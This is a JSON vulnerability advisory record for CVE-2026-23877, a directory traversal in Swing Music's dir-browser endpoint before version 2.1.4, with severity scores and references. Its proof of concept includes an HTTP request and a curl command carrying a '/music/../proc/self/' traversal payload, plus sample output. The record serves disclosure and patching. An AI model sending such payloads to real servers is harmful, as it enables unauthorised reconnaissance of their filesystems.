{"id":"CVE-2026-23877","aliases":["CVE-2026-23877","GHSA-pj88-9xww-gxmh","PYSEC-2026-1947"],"related":[],"kind":"vulnerability","state":"published","title":"Directory Traversal & Filesystem can be accessed by a non-admin user","summary":"Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nSwing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.\n\n### Details\nThe `@api.post(\"/dir-browser\")` endpoint lacks proper path validation and authorization checks:\n- **No authorization requirement**: Any authenticated user can access the endpoint\n- **Improper path handling**: The code attempts to prepend \"/\" to non-existent paths but this doesn't prevent traversal:\n```python\nreq_dir = pathlib.Path(\"../../../../etc\")  # → PosixPath('../../../../etc')\nif not req_dir.exists():                    # → False\n    req_dir = \"/\" / req_dir                 # → PosixPath('/../../../../etc')\n```\n\n### PoC\n1. Create a non-admin user\n2. Authenticate as a non-admin user\n3. Send the following request:\n```\nPOST /folder/dir-browser HTTP/1.1\nHost: IP:1970\nContent-Type: application/json\nCookie: access_token_cookie=non-admin-access-token\nConnection: keep-alive\n\n{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}\n```\n```bash\ncurl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \\\n    --data-binary $'{\\\"folder\\\":\\\"/music/../proc/self/\\\", \\\"tracks_only\\\":false}' \\\n    $'http://IP:1970/folder/dir-browser'\n```\n4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths:\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 466\nVary: Accept-Encoding\nConnection: Keep-Alive\n\n{\"folders\":[{\"name\":\"attr\",\"path\":\"/music/../proc/self/attr\"},{\"name\":\"cwd\",\"path\":\"/music/../proc/self/cwd\"},{\"name\":\"fd\",\"path\":\"/music/../proc/self/fd\"},{\"name\":\"fdinfo\",\"path\":\"/music/../proc/self/fdinfo\"},{\"name\":\"map_files\",\"path\":\"/music/../proc/self/map_files\"},{\"name\":\"net\",\"path\":\"/music/../proc/self/net\"},{\"name\":\"ns\",\"path\":\"/music/../proc/self/ns\"},{\"name\":\"root\",\"path\":\"/music/../proc/self/root\"},{\"name\":\"task\",\"path\":\"/music/../proc/self/task\"}]}\n```\n\n### Impact\n\n**Information Disclosure:**\n- Server filesystem structure and layout\n- Configuration file locations and names\n- User account names from directory listings\n- Software versions and installed packages\n- Log file locations and system paths\n\n**Additional Risks:**\n- Preparation for further attacks (LFI, RCE)\n- Bypass of access control mechanisms\n- Exposure of sensitive directory structures","format":"markdown","source":"ghsa"},{"lang":"es","text":"Swing Music es un reproductor de música autoalojado para archivos de audio locales. Antes de la versión 2.1.4, la función `list_folders()` de Swing Music en el endpoint `/folder/dir-browser` es vulnerable a ataques de salto de directorio. Cualquier usuario autenticado (incluidos los no administradores) puede navegar por directorios arbitrarios en el sistema de archivos del servidor. La versión 2.1.4 soluciona el problema.","source":"nvd"}],"published":"2026-01-19T20:52:00.516Z","modified":"2026-07-07T17:56:38.309Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"cwes":["CWE-25","CWE-284"],"affected":[{"ranges":[{"version":"< 2.1.4","status":"affected"}],"vendor":"swingmx","product":"swingmusic","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.1.4"}],"ecosystem":"PyPI","package":"swingmusic","purl":"pkg:pypi/swingmusic","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.1.4"}],"vendor":"swingmx","product":"swing_music","cpe":"cpe:2.3:a:swingmx:swing_music:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.1.4"}],"ecosystem":"PyPI","package":"swingmusic","purl":"pkg:pypi/swingmusic","source":"pysec"}],"references":[{"url":"https://github.com/swingmx/swingmusic/security/advisories/GHSA-pj88-9xww-gxmh","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/swingmx/swingmusic/commit/9a915ca62af1502b9550722df82f5d432cb73de3","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23877","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/swingmx/swingmusic","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/swingmusic","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-pj88-9xww-gxmh","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-01-20T15:12:47.007Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-23877","url":"https://www.cve.org/CVERecord?id=CVE-2026-23877","licence":"CVE Terms of Use","modified":"2026-01-20T15:20:58.996Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-pj88-9xww-gxmh","url":"https://github.com/advisories/GHSA-pj88-9xww-gxmh","licence":"CC-BY-4.0","modified":"2026-07-07T17:56:38.309Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-23877","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23877","licence":"Public domain","modified":"2026-06-17T10:22:14.560Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1947","url":"https://osv.dev/vulnerability/PYSEC-2026-1947","licence":"CC-BY-4.0","modified":"2026-07-07T17:48:12.605Z"}],"updatedAt":"2026-11-25T22:59:12.958Z","epss":{"score":0.00595,"percentile":0.49801,"date":"2026-12-01T12:00:22.000Z"}}